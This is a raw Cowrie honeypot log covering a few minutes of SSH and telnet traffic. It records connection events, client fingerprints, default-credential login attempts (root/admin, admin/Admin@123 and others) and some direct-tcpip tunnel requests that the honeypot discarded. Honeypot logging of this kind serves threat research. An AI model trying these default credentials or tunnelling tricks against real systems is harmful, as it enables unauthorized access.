{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.651281Z","src_ip":"87.251.64.176","session":"296b2032d440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.751558Z","src_ip":"87.251.64.176","session":"296b2032d440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.99573016166687,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:16.573018Z","src_ip":"45.58.127.90","session":"61776edeb55c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42302,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e53f8e5d34","protocol":"telnet","message":"New connection: 45.58.127.90:42302 (10.17.0.5:23) [session: c2e53f8e5d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:31.785004Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42316,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc3e4ad6e68","protocol":"telnet","message":"New connection: 45.58.127.90:42316 (10.17.0.5:23) [session: edc3e4ad6e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:34.018795Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42324,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f137f6dd5bf","protocol":"telnet","message":"New connection: 45.58.127.90:42324 (10.17.0.5:23) [session: 3f137f6dd5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:34.724927Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b04107f6da36","protocol":"telnet","message":"New connection: 45.58.127.90:42336 (10.17.0.5:23) [session: b04107f6da36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:37.866259Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":22132,"dst_ip":"10.17.0.5","dst_port":22,"session":"97282e76c3ae","protocol":"ssh","message":"New connection: 31.57.216.40:22132 (10.17.0.5:22) [session: 97282e76c3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.201264Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.206396Z","src_ip":"31.57.216.40","session":"97282e76c3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":22148,"dst_ip":"10.17.0.5","dst_port":22,"session":"feef7f211a72","protocol":"ssh","message":"New connection: 31.57.216.40:22148 (10.17.0.5:22) [session: feef7f211a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.418688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.423542Z","src_ip":"31.57.216.40","session":"feef7f211a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.526676Z","src_ip":"31.57.216.40","session":"feef7f211a72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.877861Z","src_ip":"31.57.216.40","session":"feef7f211a72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.40","dst_port":80,"src_ip":"31.57.216.40","src_port":5555,"message":"direct-tcp connection request to 31.57.216.40:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:45.989454Z","session":"feef7f211a72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.40","dst_port":80,"data":"b'RGtfgpK5nMKWB8Hd0pecdhqwt64vbun7zA182nySfAiuz7BcXA'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.40:80 with data b'RGtfgpK5nMKWB8Hd0pecdhqwt64vbun7zA182nySfAiuz7BcXA'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:46.097108Z","src_ip":"31.57.216.40","session":"feef7f211a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:46.202086Z","src_ip":"31.57.216.40","session":"feef7f211a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58006,"dst_ip":"159.203.135.109","dst_port":23,"session":"77c7706d7e12","protocol":"telnet","message":"New connection: 147.182.143.59:58006 (159.203.135.109:23) [session: 77c7706d7e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:36:50.705003Z"}
{"eventid":"cowrie.session.closed","duration":32.6113224029541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:04.396240Z","src_ip":"45.58.127.90","session":"c2e53f8e5d34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.801393508911133,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:04.506259Z","src_ip":"147.182.143.59","session":"77c7706d7e12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.173335552215576,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:11.192024Z","src_ip":"45.58.127.90","session":"edc3e4ad6e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f910d2521349","protocol":"telnet","message":"New connection: 147.182.143.59:53680 (159.203.135.109:23) [session: f910d2521349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:15.215509Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":52324,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d17c4bcdb2","protocol":"ssh","message":"New connection: 84.239.42.8:52324 (159.203.135.109:22) [session: 45d17c4bcdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:16.078097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:16.086231Z","src_ip":"84.239.42.8","session":"45d17c4bcdb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:16.214290Z","src_ip":"84.239.42.8","session":"45d17c4bcdb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"windows","message":"login attempt [Administrator/windows] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:16.712207Z","src_ip":"84.239.42.8","session":"45d17c4bcdb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:17.843405Z","src_ip":"84.239.42.8","session":"45d17c4bcdb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.037087202072144,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:17.903223Z","src_ip":"45.58.127.90","session":"b04107f6da36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.81622672080994,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:19.541006Z","src_ip":"45.58.127.90","session":"3f137f6dd5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58848,"dst_ip":"159.203.135.109","dst_port":22,"session":"85737c7caf31","protocol":"ssh","message":"New connection: 47.239.15.75:58848 (159.203.135.109:22) [session: 85737c7caf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:21.953437Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42292,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2b2e7a7555","protocol":"telnet","message":"New connection: 147.182.143.59:42292 (159.203.135.109:23) [session: 8d2b2e7a7555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:24.042412Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46842,"dst_ip":"10.17.0.5","dst_port":23,"session":"b31cd617ef0d","protocol":"telnet","message":"New connection: 45.58.127.90:46842 (10.17.0.5:23) [session: b31cd617ef0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:24.243647Z"}
{"eventid":"cowrie.session.closed","duration":12.570337057113647,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:27.785708Z","src_ip":"147.182.143.59","session":"f910d2521349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46850,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e20e11e2fa0","protocol":"telnet","message":"New connection: 45.58.127.90:46850 (10.17.0.5:23) [session: 8e20e11e2fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:28.055907Z"}
{"eventid":"cowrie.session.closed","duration":11.87178087234497,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:35.914089Z","src_ip":"147.182.143.59","session":"8d2b2e7a7555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44590,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f876a262dce","protocol":"telnet","message":"New connection: 45.58.127.90:44590 (10.17.0.5:23) [session: 8f876a262dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:36.557775Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.115.59","src_port":54648,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe88ef9f16d","protocol":"ssh","message":"New connection: 45.79.115.59:54648 (159.203.135.109:22) [session: fbe88ef9f16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:39.136037Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:37:40.719877Z","src_ip":"45.79.115.59","session":"fbe88ef9f16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11738,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef25f871e90a","protocol":"ssh","message":"New connection: 87.251.64.176:11738 (10.17.0.5:22) [session: ef25f871e90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.226510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.232723Z","src_ip":"87.251.64.176","session":"ef25f871e90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.329490Z","src_ip":"87.251.64.176","session":"ef25f871e90a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.624183Z","src_ip":"87.251.64.176","session":"ef25f871e90a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.724982Z","session":"ef25f871e90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.53339862823486,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.776941Z","src_ip":"45.58.127.90","session":"b31cd617ef0d","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.830148Z","src_ip":"87.251.64.176","session":"ef25f871e90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:03.931363Z","src_ip":"87.251.64.176","session":"ef25f871e90a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:07.119148Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:07.124418Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.07041144371033,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:09.126227Z","src_ip":"45.58.127.90","session":"8e20e11e2fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d433c4e7bc48","protocol":"telnet","message":"New connection: 45.58.127.90:47804 (10.17.0.5:23) [session: d433c4e7bc48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:16.718573Z"}
{"eventid":"cowrie.session.closed","duration":41.70357537269592,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:18.261229Z","src_ip":"45.58.127.90","session":"8f876a262dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5b5eec0f03","protocol":"telnet","message":"New connection: 45.58.127.90:58214 (10.17.0.5:23) [session: 2c5b5eec0f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:29.013191Z"}
{"eventid":"cowrie.session.closed","duration":35.50731921195984,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:52.225744Z","src_ip":"45.58.127.90","session":"d433c4e7bc48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":39732,"dst_ip":"159.203.135.109","dst_port":22,"session":"27dab21307ca","protocol":"ssh","message":"New connection: 47.239.15.75:39732 (159.203.135.109:22) [session: 27dab21307ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:38:57.491383Z"}
{"eventid":"cowrie.session.closed","duration":32.72885012626648,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:01.741918Z","src_ip":"45.58.127.90","session":"2c5b5eec0f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:06.648341Z","src_ip":"47.239.15.75","session":"27dab21307ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:15.542126Z","src_ip":"47.239.15.75","session":"85737c7caf31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"9afc6c0e2460","protocol":"telnet","message":"New connection: 147.182.143.59:56484 (159.203.135.109:23) [session: 9afc6c0e2460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:39:17.255007Z"}
